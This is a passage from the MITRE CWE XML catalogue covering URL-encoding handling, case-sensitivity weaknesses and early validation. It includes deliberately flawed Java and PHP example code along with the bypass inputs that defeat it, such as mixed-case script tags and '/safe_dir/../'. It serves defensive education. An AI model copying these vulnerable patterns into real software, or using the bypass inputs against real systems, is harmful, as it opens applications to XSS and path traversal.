            <Observed_Example>
               <Reference>CVE-2004-0072</Reference>
               <Description>"%5c" (encoded backslash) and "%2e" (encoded dot) sequences</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0072</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0847</Reference>
               <Description>"%5c" (encoded backslash)</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0847</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1575</Reference>
               <Description>"%0a" (overlaps CRLF)</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1575</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>URL Encoding (Hex Encoding)</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="120"/>
            <Related_Attack_Pattern CAPEC_ID="468"/>
            <Related_Attack_Pattern CAPEC_ID="64"/>
            <Related_Attack_Pattern CAPEC_ID="72"/>
         </Related_Attack_Patterns>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Organization>Veracode</Modification_Organization>
               <Modification_Date>2008-08-15</Modification_Date>
               <Modification_Comment>Suggested OWASP Top Ten 2004 mapping</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Observed_Example, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">URL Encoding (Hex Encoding)</Previous_Entry_Name>
            <Previous_Entry_Name Date="2010-12-13">Failure to Handle URL Encoding (Hex Encoding)</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="178" Name="Improper Handling of Case Sensitivity" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product does not properly account for differences in case sensitivity when accessing or determining the properties of a resource, leading to inconsistent results.</Description>
         <Extended_Description>
            <xhtml:p>Improperly handled case sensitive data can lead to several possible consequences, including:</xhtml:p>
               <xhtml:ul>
                  <xhtml:li>case-insensitive passwords reducing the size of the key space, making brute force attacks easier</xhtml:li>
                  <xhtml:li>bypassing filters or access controls using alternate names</xhtml:li>
                  <xhtml:li>multiple interpretation errors using alternate names.</xhtml:li>
               </xhtml:ul>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="706" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="706" View_ID="1003" Ordinal="Primary"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="433" View_ID="1000"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="289" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-44">
               <Phase>Architecture and Design</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-5">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-20">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-141">
               <Intro_Text>In the following example, an XSS neutralization method intends to replace script tags in user-supplied input with a safe equivalent:</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>public String preventXSS(String input, String mask) {<xhtml:div style="margin-left:1em;">return input.replaceAll("script", mask);</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>The code only works when the "script" tag is in all lower-case, forming an incomplete denylist (CWE-184). Equivalent tags such as "SCRIPT" or "ScRiPt" will not be neutralized by this method, allowing an XSS attack.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2000-0499</Reference>
               <Description>Application server allows attackers to bypass execution of a jsp page and read the source code using an upper case JSP extension in the request.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-0499</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2000-0497</Reference>
               <Description>The server is case sensitive, so filetype handlers treat .jsp and .JSP as different extensions. JSP source code may be read because .JSP defaults to the filetype "text".</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-0497</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2000-0498</Reference>
               <Description>The server is case sensitive, so filetype handlers treat .jsp and .JSP as different extensions. JSP source code may be read because .JSP defaults to the filetype "text".</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-0498</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0766</Reference>
               <Description>A URL that contains some characters whose case is not matched by the server's filters may bypass access restrictions because the case-insensitive file system will then handle the request after it bypasses the case sensitive filter.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0766</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0795</Reference>
               <Description>Server allows remote attackers to obtain source code of CGI scripts via URLs that contain MS-DOS conventions such as (1) upper case letters or (2) 8.3 file names.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0795</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1238</Reference>
               <Description>Task Manager does not allow local users to end processes with uppercase letters named (1) winlogon.exe, (2) csrss.exe, (3) smss.exe and (4) services.exe via the Process tab which could allow local users to install Trojan horses that cannot be stopped.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1238</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0411</Reference>
               <Description>chain: Code was ported from a case-sensitive Unix platform to a case-insensitive Windows platform where filetype handlers treat .jsp and .JSP as different extensions. JSP source code may be read because .JSP defaults to the filetype "text".</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0411</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0485</Reference>
               <Description>Leads to interpretation error</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0485</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-1999-0239</Reference>
               <Description>Directories may be listed because lower case web requests are not properly handled by the server.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-1999-0239</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-0269</Reference>
               <Description>File extension check in forum software only verifies extensions that contain all lowercase letters, which allows remote attackers to upload arbitrary files via file extensions that include uppercase letters.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-0269</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-1083</Reference>
               <Description>Web server restricts access to files in a case sensitive manner, but the filesystem accesses files in a case insensitive manner, which allows remote attackers to read privileged files using alternate capitalization.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-1083</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-2119</Reference>
               <Description>Case insensitive passwords lead to search space reduction.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-2119</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-2214</Reference>
               <Description>HTTP server allows bypass of access restrictions using URIs with mixed case.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-2214</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-2154</Reference>
               <Description>Mixed upper/lowercase allows bypass of ACLs.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-2154</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-4509</Reference>
               <Description>Bypass malicious script detection by using tokens that aren't case sensitive.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-4509</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1820</Reference>
               <Description>Mixed case problem allows "admin" to have "Admin" rights (alternate name property).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1820</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-3365</Reference>
               <Description>Chain: uppercase file extensions causes web server to return script source code instead of executing the script.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-3365</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2021-39155</Reference>
               <Description>Chain: A microservice integration and management platform compares the hostname in the HTTP Host header in a case-sensitive way (CWE-178, CWE-1289), allowing bypass of the authorization policy (CWE-863) using a hostname with mixed case or other variations.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2021-39155</Link>
            </Observed_Example>
         </Observed_Examples>
         <Functional_Areas>
            <Functional_Area>File Processing</Functional_Area>
         </Functional_Areas>
         <Affected_Resources>
            <Affected_Resource>File or Directory</Affected_Resource>
         </Affected_Resources>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Case Sensitivity (lowercase, uppercase, mixed case)</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Notes>
            <Note Type="Research Gap">These are probably under-studied in Windows and Mac environments, where file names are case-insensitive and thus are subject to equivalence manipulations involving case.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Sean Eidemiller</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>added/updated demonstrative examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Relationships, Observed_Example, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Observed_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Observed_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Affected_Resources, Applicable_Platforms, Functional_Areas, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Case Sensitivity (Lowercase, Uppercase, Mixed Case)</Previous_Entry_Name>
            <Previous_Entry_Name Date="2010-12-13">Failure to Resolve Case Sensitivity</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="179" Name="Incorrect Behavior Order: Early Validation" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product validates input before applying protection mechanisms that modify the input, which could allow an attacker to bypass the validation via dangerous inputs that only arise after the modification.</Description>
         <Extended_Description>Product needs to validate data at the proper time, after data has been canonicalized and cleansed. Early validation is susceptible to various manipulations that result in dangerous inputs that are produced by canonicalization and cleansing.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="20" View_ID="1000"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="696" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>Since early validation errors usually arise from improperly implemented defensive mechanisms, it is likely that these will be introduced more frequently as secure programming becomes implemented more widely.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Scope>Integrity</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Note>An attacker could include dangerous input that bypasses validation protection mechanisms which can be used to launch various attacks including injection attacks, execute arbitrary code or cause other unintended behavior.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-20">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-35">
               <Intro_Text>The following code attempts to validate a given input path by checking it against an allowlist and then return the canonical path. In this specific case, the path is considered valid if it starts with the string "/safe_dir/".</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>String path = getInputPath();<xhtml:br/>if (path.startsWith("/safe_dir/"))<xhtml:br/>{<xhtml:div style="margin-left:1em;">File f = new File(path);<xhtml:br/>return f.getCanonicalPath();</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>The problem with the above code is that the validation step occurs before canonicalization occurs. An attacker could provide an input path of "/safe_dir/../" that would pass the validation step. However, the canonicalization process sees the double dot as a traversal to the parent directory and hence when canonicized the path would become just "/".</Body_Text>
               <Body_Text>To avoid this problem, validation should occur after canonicalization takes place. In this case canonicalization occurs during the initialization of the File object. The code below fixes the issue.</Body_Text>
               <Example_Code Nature="Good" Language="Java">
                  <xhtml:div>String path = getInputPath();<xhtml:br/>File f = new File(path);<xhtml:br/>if (f.getCanonicalPath().startsWith("/safe_dir/"))<xhtml:br/>{<xhtml:div style="margin-left:1em;">return f.getCanonicalPath();</xhtml:div>}<xhtml:br/>
                     <xhtml:br/>
                  </xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-36">
               <Intro_Text>This script creates a subdirectory within a user directory and sets the user as the owner.</Intro_Text>
               <Example_Code Nature="Bad" Language="PHP">
                  <xhtml:div>function createDir($userName,$dirName){<xhtml:div style="margin-left:1em;">$userDir = '/users/'. $userName;<xhtml:br/>if(strpos($dirName,'..') !== false){<xhtml:div style="margin-left:1em;">echo 'Directory name contains invalid sequence';<xhtml:br/>return;</xhtml:div>}<xhtml:br/>
                        <xhtml:i>//filter out '~' because other scripts identify user directories by this prefix</xhtml:i>
                        <xhtml:br/>$dirName = str_replace('~','',$dirName);<xhtml:br/>$newDir = $userDir . $dirName;<xhtml:br/>mkdir($newDir, 0700);<xhtml:br/>chown($newDir,$userName);</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>While the script attempts to screen for '..' sequences, an attacker can submit a directory path including ".~.", which will then become ".." after the filtering step. This allows a Path Traversal (CWE-21) attack to occur.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2002-0433</Reference>
               <Description>Product allows remote attackers to view restricted files via an HTTP request containing a "*" (wildcard or asterisk) character.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0433</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0332</Reference>
               <Description>Product modifies the first two letters of a filename extension after performing a security check, which allows remote attackers to bypass authentication via a filename with a .ats extension instead of a .hts extension.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0332</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0802</Reference>
               <Description>Database consumes an extra character when processing a character that cannot be converted, which could remove an escape character from the query and make the application subject to SQL injection attacks.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0802</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2000-0191</Reference>
               <Description>Overlaps "fakechild/../realchild"</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-0191</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-2363</Reference>
               <Description>Product checks URI for "&lt;" and other literal characters, but does it before hex decoding the URI, so "%3E" and other sequences are allowed.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-2363</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0934</Reference>
               <Description>Directory traversal vulnerability allows remote attackers to read or modify arbitrary files via invalid characters between two . (dot) characters, which are filtered and result in a ".." sequence.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0934</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0282</Reference>
               <Description>Directory traversal vulnerability allows attackers to overwrite arbitrary files via invalid characters between two . (dot) characters, which are filtered and result in a ".." sequence.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0282</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Early Validation Errors</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="3"/>
            <Related_Attack_Pattern CAPEC_ID="43"/>
            <Related_Attack_Pattern CAPEC_ID="71"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-62" Section="Chapter 8, &#34;Escaping Metacharacters&#34;, Page 439"/>
         </References>
         <Notes>
            <Note Type="Research Gap">These errors are mostly reported in path traversal vulnerabilities, but the concept applies whenever validation occurs.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Organization>Veracode</Modification_Organization>
               <Modification_Date>2008-08-15</Modification_Date>
               <Modification_Comment>Suggested OWASP Top Ten 2004 mapping</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Research_Gaps</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Observed_Examples, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
